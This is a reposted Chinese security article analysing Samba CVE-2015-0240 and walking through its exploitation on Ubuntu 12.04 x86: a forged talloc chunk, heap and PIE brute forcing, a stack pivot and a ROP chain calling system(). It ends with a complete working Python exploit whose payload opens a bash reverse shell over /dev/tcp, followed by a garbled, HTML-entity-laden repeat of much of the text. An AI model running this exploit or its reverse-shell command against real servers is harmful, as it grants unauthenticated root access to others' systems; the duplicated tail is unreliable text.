Samba CVE-2015-0240 远程代码执行漏洞利用实践
字数 18303 2020-08-02 20:05:54

在大家欢天喜地度春节时,安全界近日爆出Samba被发现存在远程命令执行漏洞(CVE-2015-0240),安全脉搏有文章《

Samba全系版本远程命令执行漏洞(CVE-2015-0240)检测方法及修复建议》,长亭科技KELWIN 给我们带来了《Samba CVE-2015-0240 远程代码执行漏洞利用实践》

banner

1 演示

 

2 背景

2015年2月23日,Red Hat产品安全团队发布了一个Samba服务端smbd的漏洞公告 [1],该漏洞编号为CVE-2015-0240,几乎影响所有版本。

该漏洞的触发并不需要通过Samba服务器的账号认证,而smbd服务端通常以root权限运行,如果漏洞能够被用来实现任意代码执行,则攻击者可以远程获取系统root权限,危害极其严重,因此该漏洞的CVSS评分也达到了10。

该漏洞的基本原理是栈上未初始化的指针被传入TALLOC_FREE()函数。想要利用这个漏洞,首先需要控制栈上未初始化的数据,这和编译生成的二进制文件中栈的布局有关。

因此少数国外的安全研究人员针对不同Linux发行版上的二进制文件做了分析,其中Worawit Wang(@sleepya_)给出了较好的结果,他证实了在Ubuntu 12.04 x86 (Samba 3.6.3)和Debian 7 x86 (Samba 3.6.6)中,这个漏洞是可以被用来实现远程代码任意执行的,参考 [2] 中的注释。之后,英格兰老牌安全公司NCC Group的研究人员给出了漏洞利用的思路 [4],但是也未给出利用细节和exploit代码。

本文详细分析并实现了Ubuntu 12.04 x86(Debian 7 x86情况类似)平台下Samba服务端远程代码任意执行的exploit。

3 漏洞简介

已经有多篇文章给出了漏洞分析 [3],这里只做一个简要介绍。

漏洞出现在函数 _netr_ServerPasswordSet() 当中,局部变量creds原本被期望通过 netr_creds_server_step_check()函数初始化,但是如果构造输入使得 netr_creds_server_step_check() 失败,则可导致creds未初始化就传入了TALLOC_FREE()函数:

NTSTATUS _netr_ServerPasswordSet(struct pipes_struct *p, struct netr_ServerPasswordSet *r) {    NTSTATUS status = NT_STATUS_OK;    int i;    struct netlogon_creds_CredentialState *creds;        [...]    status = netr_creds_server_step_check(p, p->mem_ctx, r->in.computer_name, r->in.credential, r->out.return_authenticator, &creds);    unbecome_root();

   if (!NT_STATUS_IS_OK(status)) {
               [...]
       TALLOC_FREE(creds);
       return status;
   }

 

4 漏洞利用

我们首先来看一下smbd的binary当中开启了哪些保护机制:

$ checksec.sh --file smbd
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   smbd

 

编译器所有能加的保护机制都用上了,最需要注意的是开启了PIE的保护,这样如果要使用binary本身的代码片段来进行ROP或者调用导入函数,就必须首先知道程序本身加载的地址。

4.1 任意地址Free

要利用这个漏洞,首先需要找到一个控制流,能够控制栈上未初始化的指针creds,这样我们就可以实现对任意地址调用TALLOC_FREE()。

根据@sleepya_的PoC,我们已经知道,在Ubuntu 12.04 和 Debian 7 x86系统中,NetrServerPasswordSet请求当中PrimaryName的ReferentID域恰好落在了栈上未初始化指针creds的位置。

这样我们就可以通过构造ReferentID来实现任意地址Free。PoC中相关代码如下:

primaryName = nrpc.PLOGONSRV_HANDLE()

ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit

primaryName.fields['ReferentID'] = 0x41414141

 

4.2 控制EIP

有了任意地址Free后,我们可以想办法让TALLOC_FREE()来释放我们控制的内存块,但我们并不知道我们所能控制的内存的地址(DCERPC请求中的数据存储在堆上)。

我们可以穷举堆的地址,因为smbd进程采用fork的方式来处理每个连接,内存空间的布局是不变的。另外我们可以在堆上大量布置TALLOC内存块,来提高命中率,尽可能降低枚举的空间。

我们首先假设已经知道堆的地址,先来看一看如何构造TALLOC内存块来劫持EIP。

我们需要去了解TALLOC_FREE()的实现。 首先看一看TALLOC内存块的结构:

struct talloc_chunk {
    struct talloc_chunk next, prev;
    struct talloc_chunk parent, child;
    struct talloc_reference_handle refs;
    talloc_destructor_t destructor;
    const char
name;
    size_t size;
    unsigned flags;
    void pool;
    8 bytes padding;
};

 

为了满足16字节对齐,这个结构末尾还有8字节的padding,这样talloc_chunk结构一共48字节。在这个结构当中,destructor是一个函数指针,我们可以任意构造。先来看一看TALLOC_FREE()这个宏展开的代码:

PUBLIC int _talloc_free(void ptr, const char location)
{
   struct talloc_chunk
tc;
   if (unlikely(ptr == NULL)) {
       return -1;
   }
   tc = talloc_chunk_from_ptr(ptr);
   ...
}

 

_talloc_free()又调用了talloc_chunk_from_ptr(),这个函数是用来将内存指针(分配时返回给用户使用的指针ptr)转换成talloc_chunk的指针。

/* panic if we get a bad magic value /
static inline struct talloc_chunk
talloc_chunk_from_ptr(const void ptr)
{
   const char
pp = (const char )ptr;
   struct talloc_chunk
tc = discard_const_p(struct talloc_chunk, pp - TC_HDR_SIZE);
   if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
       if ((tc->flags & (~0xFFF)) == TALLOC_MAGIC_BASE) {
           talloc_abort_magic(tc->flags & (~0xF));
           return NULL;
       }

       if (tc->flags & TALLOC_FLAG_FREE) {
           talloc_log("talloc: access after free error - first free may be at %s\n", tc->name);
           talloc_abort_access_after_free();
           return NULL;
       } else {
           talloc_abort_unknown_value();
           return NULL;
       }
   }
   return tc;
}

 

这个函数仅仅把用户内存指针减去TC_HDR_SIZE并返回, TC_HDR_SIZE就是talloc_chunk的大小48,但是我们需要满足tc->flags的检查,将其设置为正确的Magic Number,否则函数无法返回正确指针。接下来我们继续看_talloc_free()函数:

PUBLIC int _talloc_free(void ptr, const char location)
{
   ...
   tc = talloc_chunk_from_ptr(ptr);
   if (unlikely(tc->refs != NULL)) {
       struct talloc_reference_handle h;
       if (talloc_parent(ptr) == null_context && tc->refs->next == NULL) {
           return talloc_unlink(null_context, ptr);
       }
       talloc_log("ERROR: talloc_free with references at %s\n",
              location);
       for (h=tc->refs; h; h=h->next) {
           talloc_log("\treference at %s\n",
                  h->location);
       }
       return -1;
   }
   return _talloc_free_internal(ptr, location);
}

 

如果tc->refs不等于NULL,则进入if分支:为了让里面的第一个if分支不挂,我们需要把tc->parent指针设置成NULL;紧接着的for循环又要求我们让tc->refs指向一个合法链表,有一些复杂。

我们先来看如果tc->refs为NULL的情形,即程序进入了_talloc_free_internal()函数:

static inline int _talloc_free_internal(void ptr, const char location)
{
   ...
   if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
       /
we have a free loop - stop looping /
       return 0;
   }
   if (unlikely(tc->destructor)) {
       talloc_destructor_t d = tc->destructor;
       if (d == (talloc_destructor_t)-1) {
           return -1;
       }
       tc->destructor = (talloc_destructor_t)-1;
       if (d(ptr) == -1) { // call destructor
           tc->destructor = d;
           return -1;
       }
       tc->destructor = NULL;
   }
   ...
}

 

我们略去该函数中已经不需要考虑的部分,在上述函数中,我们已经看到talloc_chunk的destructor被调用起来了,但是在这之前有一些检查:第一个if当中,我们不能在flags中设置TALLOC_FLAG_LOOP;在第二个if中,destructor如果设置为-1,则函数返回-1,程序不会crash,如果destructor设置为其他非法地址,则程序会崩溃退出。

我们可以利用这个特性来验证穷举的堆的地址是否准确:我们在穷举时可以将destructor设置为-1,当找到一个用来TALLOC_FREE()的地址没有让程序崩溃(请求有返回),则再将destructor设置为一个非法地址,如果程序这时候崩溃,则说明我们找到的地址是正确的。

现在我们总结一下我们需要构造的chunk所应该满足的条件:

struct talloc_chunk {
   struct talloc_chunk
next, prev; // 无要求
   struct talloc_chunk
parent, child; // 无要求
   struct talloc_reference_handle
refs; // refs = 0
   talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
   const char name;
   size_t size;
   unsigned flags; // 条件1:flags & (TALLOC_FLAG_FREE | ~0xF)) == TALLOC_MAGIC
                   // 条件2:tc->flags & TALLOC_FLAG_LOOP == False
   void
pool; // 无要求
   8 bytes padding; // 无要求
};

 

到此为止,我们已经知道怎么通过构造chunk传给TALLOC_FREE()来控制EIP。

4.3 穷举堆地址

经过修改PoC并结合gdb调试发现,我们可以使用new password来构造大量的chunk(对应于PoC中的uasNewPass['Data'])。虽然发送给Samba的请求当中有很多数据存储在堆当中(例如username和password,参考 [2]),但是很多数据要求符合WSTR编码,无法传入任意字符。

为了提高穷举堆地址的效率,我们采用 [4] 提出的思路,使用只包含refs、destructor、name、size、flags这5个域的压缩chunk,从48字节缩小为20字节,这样我们在穷举时只需要对每个地址穷举5个偏移,而不是原来的12个。压缩chunk的喷射与实际talloc_chunk结构的对应关系如下图所示。

 

chunk喷射的数量多少也会影响到穷举的效率。如果在内存中喷射的chunk较多,则需要枚举的空间就会减少,但是每次枚举时网络传输、程序对输入的处理等因素所导致的时间开销也会增大,因此需要根据实际情况来选择一个折中的数值。另外,在我们实现的exploit中,使用了进程池来实现并行枚举,提高了穷举的效率。

4.4 ROP

要实现ROP,我们还需要枚举Samba程序加载的基址。由于地址随机化保护机制的最小粒度为内存页,所以我们按页来枚举即可(0x1000字节)。我们在平台中大量测试了地址空间可能的范围,大致有0x200种可能的情形,可以接受。 现在我们只能通过构造destructor来控制一次EIP,为了实现ROP,首先需要做栈迁移(stack pivot),我们在samba的binary中找到了如下gadget:

0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;

 

由于在控制EIP的现场,ecx-0x4正好指向chunk的name字段,因此我们可以从name字段开始进行ROP。通过设置一个pop4ret(pop eax ; pop esi ; pop edi ; pop ebp ; ret ;)的gadget,就可以让esp指向下一个压缩chunk的name字段,依次往下,直到ESP走到我们喷射的内存的尽头,我们在那里可以无限制地写入ROP Payload。

[4] 中并没有给出具体栈迁移的gadget,但是根据该文中给出的图示,可以推测NCC Group的研究人员使用了相同的gadget。

4.5 任意代码执行

注意到smbd程序中导入了system函数,因此我们可以直接调用system的PLT地址来执行任意命令。

但是如何写入命令呢,如果使用在堆中布置命令,目前我们只知道压缩chunk的地址,但是其中只剩下4字节可用,所以考虑调用snprintf,往bss section中逐字节写入命令,这种方式可以执行任意长度的命令。需要注意的是,在调用snprintf和system时,由于binary使用的是地址无关代码(PIC),需要把GOT表地址恢复到ebx寄存器中。

生成ROP Payload的Python代码如下所示:

# ebx => got
rop = l32(popebx) + l32(got)

write cmd to bss, fmt == "%c"

for i in xrange(len(cmd)):
   c = cmd[i]
   rop += l32(snprintf) + l32(pop4ret)
   rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))

system(cmd)

rop += l32(system) + 'leet' + l32(bss)

 

[4] 中使用的方法是传统的mmap() + memcpy()然后执行shellcode的方式,可以实现相同的效果。

4.6 exploit完整代码

samba-exploit.py

#!/usr/bin/env python2

Author: kelwin@chaitin.com

sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2

import sys
import signal
import time

https://github.com/zTrix/zio

from zio import *

from multiprocessing import Pool, Manager

import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import *

host = '127.0.0.1'
port = 445
cmd = "bash -c 'bash >/dev/tcp/127.0.0.1/1337 0<&1 '\0"

0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ;

pop4ret_o = 0x41e2cb

0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ;

popebx_o = 0x006fd522
pivot_o = 0xa6d7c
got_o = 0x9cd640
fmt_o = 0x8e043e
system_o = 0xa4250
snprintf_o = 0xa3e20
bss_o = 0x9d5dc0

pie = 0x80000000
free_addr = 0x809fa10c + 8 + 32

def exploit(free_addr, pie=0, destructor=-1, step=0x80):
   pivot = pie + pivot_o
   pop4ret = pie + pop4ret_o
   popebx = pie + popebx_o
   got = pie + got_o
   fmt = pie + fmt_o
   system = pie + system_o
   snprintf = pie + snprintf_o
   bss = pie + bss_o

   if pie != 0:
       destructor = pivot
   # struct talloc_chunk {
   #     struct talloc_chunk next, prev;
   #     struct talloc_chunk parent, child;
   #     struct talloc_reference_handle refs; // refs = 0
   #     talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP
   #     const char
name;
   #     size_t size;
   #     unsigned flags; // magic
   #     void *poo
   # };
   talloc_chunk = l32(0)           # refs => 0
   talloc_chunk += l32(destructor) # destructor => control EIP
   talloc_chunk += l32(pop4ret)    # pop4ret
   talloc_chunk += 'leet'          #
   talloc_chunk += l32(0xe8150c70) # flags => magic

   # ebx => got
   rop = l32(popebx) + l32(got)
   # write cmd to bss
   for i in xrange(len(cmd)):
       c = cmd[i]
       rop += l32(snprintf) + l32(pop4ret)
       rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c))
   # system(cmd)
   rop += l32(system) + 'leet' + l32(bss)

   payload = 'deadbeef'
   payload += talloc_chunk * 0x1000 * step
   payload += 'leet' * 2
   payload += rop.ljust(2560, 'C')
   payload += 'cafebabe' + '\0'

   username = ''
   password = ''

   ###
   # impacket does not implement NetrServerPasswordSet
   ###
   # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
   class NetrServerPasswordSet(NDRCALL):
       opnum = 6
       structure = (
          ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
          ('AccountName',WSTR),
          ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
          ('ComputerName',WSTR),
          ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
          ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
       )

   class NetrServerPasswordSetResponse(NDRCALL):
       structure = (
          ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
          ('ErrorCode',NTSTATUS),
       )

   nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)

   ###
   # connect to target
   ###
   rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host)
   rpctransport.set_credentials('','')  # NULL session
   rpctransport.set_dport(port)
   # impacket has a problem with SMB2 dialect against samba4
   # force to 'NT LM 0.12' only
   rpctransport.preferred_dialect('NT LM 0.12')

   dce = rpctransport.get_dce_rpc()
   dce.connect()
   dce.bind(nrpc.MSRPC_UUID_NRPC)

   sessionKey = '\x00' * 16

   ###
   # prepare ServerPasswordSet request
   ###
   authenticator = nrpc.NETLOGON_AUTHENTICATOR()
   authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
   authenticator['Timestamp'] = 10

   uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
   uasNewPass['Data'] = payload

   primaryName = nrpc.PLOGONSRV_HANDLE()
   # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
   primaryName.fields['ReferentID'] = free_addr

   request = NetrServerPasswordSet()
   request['PrimaryName'] = primaryName
   request['AccountName'] = username + '\x00'
   request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
   request['ComputerName'] = host + '\x00'
   request['Authenticator'] = authenticator
   request['UasNewPassword'] = uasNewPass

   DCERPCSessionError = nrpc.DCERPCSessionError
   try:
       resp = dce.request(request)
       print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected")
       print("seems not vulnerable")
       # resp.dump()
       dce.disconnect()
       return 2
   except DCERPCSessionError as e:
       # expect error_code: 0xc0000225 - STATUS_NOT_FOUND
       # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND
       print("seems not vulnerable")
       # resp.dump()
       dce.disconnect()
       return 2
   except impacket.nmb.NetBIOSError as e:
       # print 'exception occured'
       if e.args[0] == 'Error while reading from remote':
           # print("connection lost!!!\nmight be vulnerable")
           return 1
       else:
           raise
   except AttributeError:
       # print("exception")
       return 0

def init_worker():
   signal.signal(signal.SIGINT, signal.SIG_IGN)

def guess_heap(free_addr, step, hits):
   if len(hits) > 0: return
   log("[+] trying heap addr %s" % hex(free_addr), 'green')
   res = exploit(free_addr, destructor=-1, step=step)
   if res == 0:
       res = exploit(free_addr, destructor=0, step=step)
       if res != 0:
           log("hit: %s" % hex(free_addr), 'red')
           hits.append(free_addr)

def guess_pie(free_addr, pie, step):
   log("[+] trying pie base addr %s" % hex(pie), 'green')
   try:
       exploit(free_addr, pie=pie, step=step)
   except impacket.nmb.NetBIOSTimeout:
       pass

def brute_force_heap(step):
   hit = False
   print "Initializng 10 processes for brute forcing heap address..."
   pool = Pool(10, init_worker)
   manager = Manager()
   hits = manager.list()
   for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20):
       for offset in xrange(5):
           pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits))

   try:
       while True:
           time.sleep(5)
           if len(hits) > 0:
               pool.terminate()
               pool.join()
               return hits[0]

   except KeyboardInterrupt:
       print "Caught KeyboardInterrupt, terminating..."
       pool.terminate()
       pool.join()
       sys.exit(0)

def brute_force_pie(free_addr, step):
   print "Initializng 10 processes for brute forcing PIE base address..."
   pool = Pool(10, init_worker)
   for pie in range(0xb6d00000, 0xb6f00000, 0x1000):
       pool.apply_async(guess_pie, (free_addr, pie, step))

   try:
       time.sleep(60 * 60)

   except KeyboardInterrupt:
       print "Caught KeyboardInterrupt, terminating..."
       pool.terminate()
       pool.join()

   else:
       pool.close()
       pool.join()

step = 0x1
free_addr = brute_force_heap(step)
brute_force_pie(free_addr, step)

 

5 参考资料

Samba vulnerability (CVE-2015-0240)

PoC for Samba vulnerabilty (CVE-2015-0240)

Samba _netr_ServerPasswordSet Expoitability Analysis

Exploiting Samba CVE-2015-0240 on Ubuntu 12.04 and Debian 7 32-bit

转自:https://www.secpulse.com/archives/5975.html

&nbsp; &nbsp;if (!NT_ STATUS_ IS_ OK(status)) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ ... ] &nbsp; &nbsp; &nbsp; &nbsp;TALLOC_ FREE(creds); &nbsp; &nbsp; &nbsp; &nbsp;return status; &nbsp; &nbsp;} &nbsp; 4 漏洞利用 我们首先来看一下smbd的binary当中开启了哪些保护机制: $ checksec.sh --file smbd RELRO &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; STACK CANARY &nbsp; &nbsp; &nbsp;NX &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PIE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RPATH &nbsp; &nbsp; &nbsp;RUNPATH &nbsp; &nbsp; &nbsp;FILE Full RELRO &nbsp; &nbsp; &nbsp;Canary found &nbsp; &nbsp; &nbsp;NX enabled &nbsp; &nbsp;PIE enabled &nbsp; &nbsp; No RPATH &nbsp; No RUNPATH &nbsp; smbd &nbsp; 编译器所有能加的保护机制都用上了,最需要注意的是开启了PIE的保护,这样如果要使用binary本身的代码片段来进行ROP或者调用导入函数,就必须首先知道程序本身加载的地址。 4.1 任意地址Free 要利用这个漏洞,首先需要找到一个控制流,能够控制栈上未初始化的指针creds,这样我们就可以实现对任意地址调用TALLOC_ FREE()。 根据@sleepya_ 的PoC,我们已经知道,在Ubuntu 12.04 和 Debian 7 x86系统中,NetrServerPasswordSet请求当中PrimaryName的ReferentID域恰好落在了栈上未初始化指针creds的位置。 这样我们就可以通过构造ReferentID来实现任意地址Free。PoC中相关代码如下: primaryName = nrpc.PLOGONSRV_ HANDLE() ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit primaryName.fields[ 'ReferentID'] = 0x41414141 &nbsp; 4.2 控制EIP 有了任意地址Free后,我们可以想办法让TALLOC_ FREE()来释放我们控制的内存块,但我们并不知道我们所能控制的内存的地址(DCERPC请求中的数据存储在堆上)。 我们可以穷举堆的地址,因为smbd进程采用fork的方式来处理每个连接,内存空间的布局是不变的。另外我们可以在堆上大量布置TALLOC内存块,来提高命中率,尽可能降低枚举的空间。 我们首先假设已经知道堆的地址,先来看一看如何构造TALLOC内存块来劫持EIP。 我们需要去了解TALLOC_ FREE()的实现。 首先看一看TALLOC内存块的结构: struct talloc_ chunk { &nbsp; &nbsp; struct talloc_ chunk next, prev; &nbsp; &nbsp; struct talloc_ chunk parent, child; &nbsp; &nbsp; struct talloc_ reference_ handle refs; &nbsp; &nbsp; talloc_ destructor_ t destructor; &nbsp; &nbsp; const char name; &nbsp; &nbsp; size_ t size; &nbsp; &nbsp; unsigned flags; &nbsp; &nbsp; void pool; &nbsp; &nbsp; 8 bytes padding; }; &nbsp; 为了满足16字节对齐,这个结构末尾还有8字节的padding,这样talloc_ chunk结构一共48字节。在这个结构当中,destructor是一个函数指针,我们可以任意构造。先来看一看TALLOC_ FREE()这个宏展开的代码: PUBLIC int _ talloc_ free(void ptr, const char location) { &nbsp; &nbsp;struct talloc_ chunk tc; &nbsp; &nbsp;if (unlikely(ptr == NULL)) { &nbsp; &nbsp; &nbsp; &nbsp;return -1; &nbsp; &nbsp;} &nbsp; &nbsp;tc = talloc_ chunk_ from_ ptr(ptr); &nbsp; &nbsp;... } &nbsp; _ talloc_ free()又调用了talloc_ chunk_ from_ ptr(),这个函数是用来将内存指针(分配时返回给用户使用的指针ptr)转换成talloc_ chunk的指针。 /* panic if we get a bad magic value / static inline struct talloc_ chunk talloc_ chunk_ from_ ptr(const void ptr) { &nbsp; &nbsp;const char pp = (const char )ptr; &nbsp; &nbsp;struct talloc_ chunk tc = discard_ const_ p(struct talloc_ chunk, pp - TC_ HDR_ SIZE); &nbsp; &nbsp;if (unlikely((tc-&gt;flags &amp; (TALLOC_ FLAG_ FREE | ~0xF)) != TALLOC_ MAGIC)) { &nbsp; &nbsp; &nbsp; &nbsp;if ((tc-&gt;flags &amp; (~0xFFF)) == TALLOC_ MAGIC_ BASE) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;talloc_ abort_ magic(tc-&gt;flags &amp; (~0xF)); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return NULL; &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp; &nbsp;if (tc-&gt;flags &amp; TALLOC_ FLAG_ FREE) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;talloc_ log("talloc: access after free error - first free may be at %s\n", tc-&gt;name); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;talloc_ abort_ access_ after_ free(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return NULL; &nbsp; &nbsp; &nbsp; &nbsp;} else { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;talloc_ abort_ unknown_ value(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return NULL; &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp;} &nbsp; &nbsp;return tc; } &nbsp; 这个函数仅仅把用户内存指针减去TC_ HDR_ SIZE并返回, TC_ HDR_ SIZE就是talloc_ chunk的大小48,但是我们需要满足tc-&gt;flags的检查,将其设置为正确的Magic Number,否则函数无法返回正确指针。接下来我们继续看_ talloc_ free()函数: PUBLIC int _ talloc_ free(void ptr, const char location) { &nbsp; &nbsp;... &nbsp; &nbsp;tc = talloc_ chunk_ from_ ptr(ptr); &nbsp; &nbsp;if (unlikely(tc-&gt;refs != NULL)) { &nbsp; &nbsp; &nbsp; &nbsp;struct talloc_ reference_ handle h; &nbsp; &nbsp; &nbsp; &nbsp;if (talloc_ parent(ptr) == null_ context &amp;&amp; tc-&gt;refs-&gt;next == NULL) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return talloc_ unlink(null_ context, ptr); &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp; &nbsp;talloc_ log("ERROR: talloc_ free with references at %s\n", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; location); &nbsp; &nbsp; &nbsp; &nbsp;for (h=tc-&gt;refs; h; h=h-&gt;next) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;talloc_ log("\treference at %s\n", &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h-&gt;location); &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp; &nbsp;return -1; &nbsp; &nbsp;} &nbsp; &nbsp;return _ talloc_ free_ internal(ptr, location); } &nbsp; 如果tc-&gt;refs不等于NULL,则进入if分支:为了让里面的第一个if分支不挂,我们需要把tc-&gt;parent指针设置成NULL;紧接着的for循环又要求我们让tc-&gt;refs指向一个合法链表,有一些复杂。 我们先来看如果tc-&gt;refs为NULL的情形,即程序进入了_ talloc_ free_ internal()函数: static inline int _ talloc_ free_ internal(void ptr, const char location) { &nbsp; &nbsp;... &nbsp; &nbsp;if (unlikely(tc-&gt;flags &amp; TALLOC_ FLAG_ LOOP)) { &nbsp; &nbsp; &nbsp; &nbsp;/ we have a free loop - stop looping / &nbsp; &nbsp; &nbsp; &nbsp;return 0; &nbsp; &nbsp;} &nbsp; &nbsp;if (unlikely(tc-&gt;destructor)) { &nbsp; &nbsp; &nbsp; &nbsp;talloc_ destructor_ t d = tc-&gt;destructor; &nbsp; &nbsp; &nbsp; &nbsp;if (d == (talloc_ destructor_ t)-1) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return -1; &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp; &nbsp;tc-&gt;destructor = (talloc_ destructor_ t)-1; &nbsp; &nbsp; &nbsp; &nbsp;if (d(ptr) == -1) { // call destructor &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tc-&gt;destructor = d; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return -1; &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp; &nbsp;tc-&gt;destructor = NULL; &nbsp; &nbsp;} &nbsp; &nbsp;... } &nbsp; 我们略去该函数中已经不需要考虑的部分,在上述函数中,我们已经看到talloc_ chunk的destructor被调用起来了,但是在这之前有一些检查:第一个if当中,我们不能在flags中设置TALLOC_ FLAG_ LOOP;在第二个if中,destructor如果设置为-1,则函数返回-1,程序不会crash,如果destructor设置为其他非法地址,则程序会崩溃退出。 我们可以利用这个特性来验证穷举的堆的地址是否准确:我们在穷举时可以将destructor设置为-1,当找到一个用来TALLOC_ FREE()的地址没有让程序崩溃(请求有返回),则再将destructor设置为一个非法地址,如果程序这时候崩溃,则说明我们找到的地址是正确的。 现在我们总结一下我们需要构造的chunk所应该满足的条件: struct talloc_ chunk { &nbsp; &nbsp;struct talloc_ chunk next, prev; // 无要求 &nbsp; &nbsp;struct talloc_ chunk parent, child; // 无要求 &nbsp; &nbsp;struct talloc_ reference_ handle refs; // refs = 0 &nbsp; &nbsp;talloc_ destructor_ t destructor; // destructor = -1: (No Crash), others: controled EIP &nbsp; &nbsp;const char name; &nbsp; &nbsp;size_ t size; &nbsp; &nbsp;unsigned flags; // 条件1:flags &amp; (TALLOC_ FLAG_ FREE | ~0xF)) == TALLOC_ MAGIC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 条件2:tc-&gt;flags &amp; TALLOC_ FLAG_ LOOP == False &nbsp; &nbsp;void pool; // 无要求 &nbsp; &nbsp;8 bytes padding; // 无要求 }; &nbsp; 到此为止,我们已经知道怎么通过构造chunk传给TALLOC_ FREE()来控制EIP。 4.3 穷举堆地址 经过修改PoC并结合gdb调试发现,我们可以使用new password来构造大量的chunk(对应于PoC中的uasNewPass[ 'Data'])。虽然发送给Samba的请求当中有很多数据存储在堆当中(例如username和password,参考 [ 2]),但是很多数据要求符合WSTR编码,无法传入任意字符。 为了提高穷举堆地址的效率,我们采用 [ 4] 提出的思路,使用只包含refs、destructor、name、size、flags这5个域的压缩chunk,从48字节缩小为20字节,这样我们在穷举时只需要对每个地址穷举5个偏移,而不是原来的12个。压缩chunk的喷射与实际talloc_ chunk结构的对应关系如下图所示。 &nbsp; chunk喷射的数量多少也会影响到穷举的效率。如果在内存中喷射的chunk较多,则需要枚举的空间就会减少,但是每次枚举时网络传输、程序对输入的处理等因素所导致的时间开销也会增大,因此需要根据实际情况来选择一个折中的数值。另外,在我们实现的exploit中,使用了进程池来实现并行枚举,提高了穷举的效率。 4.4 ROP 要实现ROP,我们还需要枚举Samba程序加载的基址。由于地址随机化保护机制的最小粒度为内存页,所以我们按页来枚举即可(0x1000字节)。我们在平台中大量测试了地址空间可能的范围,大致有0x200种可能的情形,可以接受。 现在我们只能通过构造destructor来控制一次EIP,为了实现ROP,首先需要做栈迁移(stack pivot),我们在samba的binary中找到了如下gadget: 0x000a6d7c: lea esp, dword [ ecx-0x04] ; ret ; &nbsp; 由于在控制EIP的现场,ecx-0x4正好指向chunk的name字段,因此我们可以从name字段开始进行ROP。通过设置一个pop4ret(pop eax ; pop esi ; pop edi ; pop ebp ; ret ;)的gadget,就可以让esp指向下一个压缩chunk的name字段,依次往下,直到ESP走到我们喷射的内存的尽头,我们在那里可以无限制地写入ROP Payload。 [ 4] 中并没有给出具体栈迁移的gadget,但是根据该文中给出的图示,可以推测NCC Group的研究人员使用了相同的gadget。 4.5 任意代码执行 注意到smbd程序中导入了system函数,因此我们可以直接调用system的PLT地址来执行任意命令。 但是如何写入命令呢,如果使用在堆中布置命令,目前我们只知道压缩chunk的地址,但是其中只剩下4字节可用,所以考虑调用snprintf,往bss section中逐字节写入命令,这种方式可以执行任意长度的命令。需要注意的是,在调用snprintf和system时,由于binary使用的是地址无关代码(PIC),需要把GOT表地址恢复到ebx寄存器中。 生成ROP Payload的Python代码如下所示: # ebx =&gt; got rop = l32(popebx) + l32(got) write cmd to bss, fmt == "%c" for i in xrange(len(cmd)): &nbsp; &nbsp;c = cmd[ i ] &nbsp; 